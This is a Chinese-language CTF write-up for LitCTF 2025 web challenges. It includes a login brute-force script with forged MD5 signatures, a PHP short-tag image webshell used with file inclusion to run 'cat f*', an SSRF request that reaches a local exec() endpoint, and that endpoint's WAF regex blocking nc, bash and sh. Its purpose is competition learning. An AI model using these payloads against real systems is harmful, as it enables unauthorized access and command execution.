https://idontknowctf.xyz/2025/05/26/LitCTF2025-WriteUp/
nest_js(爆破后登录) 爆破
看到这个,摸不准头脑
结果
星愿信箱(过滤<>的 ssti) 输入什么就输出什么,像 ssti
发现过滤,有 str_replace
本来想尝试遍历
反正结果都一样
然后换了其他的类
easy_file(图片马+文件包含) 这个题告诉了我文件上传后的路径,所以应该是图片马+文件包含
结果?file 包含不成功,就放弃了
这里登录的账号密码是 md5 加密还是 base64 加密来着,总之爆破的时候在 bp 里选择就好了。
尝试后发现:
1.文件内容不能有 php,<?=短标签绕过即可
2.文件后缀基本上全被屏蔽了,但是给了上传后的路径,应该是可以文件包含的
后缀变成.jpg
<?=
1 http://node6.anna.nssctf.cn:21133/admin.php?file=uploads/test.jpg&1=cat%20f*
难不成是因为我 一句话木马写的 post 但是蚁剑连不上所以做不出来?
多重宇宙日记(原型链污染) 因为忘记原型链怎么搞了,没做出来。
随便注册一个账号,再/profile 看到:
得到重要参数 is_Admin。结合题目信息打原型链污染即可。
easy_signin(jwt 加密) 进去 403,先扫盘,发现 login.php 和 login.html(注意是前后端分离的)
发现名字是 user 不能改,打开 bp 抓包发现是 md5 加密,user 提升不对,放上 admin 加密后说密码不对
打开 js 查看源代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 const loginBtn = document .getElementById ('loginBtn' ); const passwordInput = document .getElementById ('password' ); const errorTip = document .getElementById ('errorTip' ); const rawUsername = document .getElementById ('username' ).value ; loginBtn.addEventListener ('click' , async () => { const rawPassword = passwordInput.value .trim (); if (!rawPassword) { errorTip.textContent = '请输入密码' ; errorTip.classList .add ('show' ); passwordInput.focus (); return ; } const md5Username = CryptoJS .MD5 (rawUsername).toString (); const md5Password = CryptoJS .MD5 (rawPassword).toString (); const shortMd5User = md5Username.slice (0 , 6 ); const shortMd5Pass = md5Password.slice (0 , 6 ); const timestamp = Date .now ().toString (); const secretKey = 'easy_signin' ; const sign = CryptoJS .MD5 (shortMd5User + shortMd5Pass + timestamp + secretKey).toString (); try { const response = await fetch ('login.php' , { method : 'POST' , headers : { 'Content-Type' : 'application/x-www-form-urlencoded' , 'X-Sign' : sign }, body : new URLSearchParams ({ username : md5Username, password : md5Password, timestamp : timestamp }) }); const result = await response.json (); if (result.code === 200 ) { alert ('登录成功!' ); window .location .href = 'dashboard.php' ; } else { errorTip.textContent = result.msg ; errorTip.classList .add ('show' ); passwordInput.value = '' ; passwordInput.focus (); setTimeout (() => errorTip.classList .remove ('show' ), 3000 ); } } catch (error) { errorTip.textContent = '网络请求失败' ; errorTip.classList .add ('show' ); setTimeout (() => errorTip.classList .remove ('show' ), 3000 ); } }); passwordInput.addEventListener ('input' , () => { errorTip.classList .remove ('show' ); });
由于爆破需要多变量符合要求,所以写脚本爆破
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 import hashlibimport requestsimport timefile_path=r'C:\Users\111\Desktop\Gentle_knife_the_way_from_0_to_1_CTFer\BP 爆破字典\最新网站后台密码破解字典.txt' try : with open (file_path,'r' ) as file: for password in file.readlines(): password = password.strip() user = "admin" md5_user = hashlib.md5(user.encode('utf-8' )).hexdigest() md5_password = hashlib.md5(password.encode('utf-8' )).hexdigest() shortMd5User = md5_user[:6 ] shortMd5Pass = md5_password[:6 ] timestamp = str (int (time.time())*1000 ) secretKey = 'easy_signin' all_ = shortMd5User + shortMd5Pass + timestamp + secretKey sign = hashlib.md5(all_.encode('utf-8' )).hexdigest() url = ("http://node6.anna.nssctf.cn:26946/login.php" ) data = { 'username' : md5_user, 'password' :md5_password, 'timestamp' :timestamp } headers= { "Content-Type" : "application/x-www-form-urlencoded" , "X-Sign" : sign } response = requests.post(url, headers=headers, data=data) if "200" in response.text: print (response.text) print (response.headers) print (password) except Exception as e: print (e)
1 2 3 if (result.code === 200 ) { alert ('登录成功!' ); window .location .href = 'dashboard.php' ;
看到源码里面登陆成功要进 dashboard.php
注意到有 api.js。访问得到一个 api 路由:/api/sys/urlcode.php?url=
读取 8e0132966053d4bf8b2dbe4ede25502b.php 内容:
不带 file://看不到源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 <?php if ($_SERVER ['REMOTE_ADDR' ] == '127.0.0.1' ) {highlight_file (__FILE__ );$name ="waf" ;$name = $_GET ['name' ];if (preg_match ('/\b(nc|bash|sh)\b/i' , $name )) { echo "waf!!" ; exit ; } if (preg_match ('/more|less|head|sort/' , $name )) { echo "waf" ; exit ; } if (preg_match ('/tail|sed|cut|awk|strings|od|ping/' , $name )) { echo "waf!" ; exit ; } exec ($name , $output , $return_var );echo "执行结果:\n" ;print_r ($output );echo "\n 返回码:$return_var " ;} else { echo ("非本地用户" ); } ?>
注意到必须是本地请求。那么就靠 api 接口打 SSRF
1 http://node6.anna.nssctf.cn:26946/api/sys/urlcode.php?url=http://127.0.0.1/backup/8e0132966053d4bf8b2dbe4ede25502b.php?name=ls%2520
flag 在 web 目录下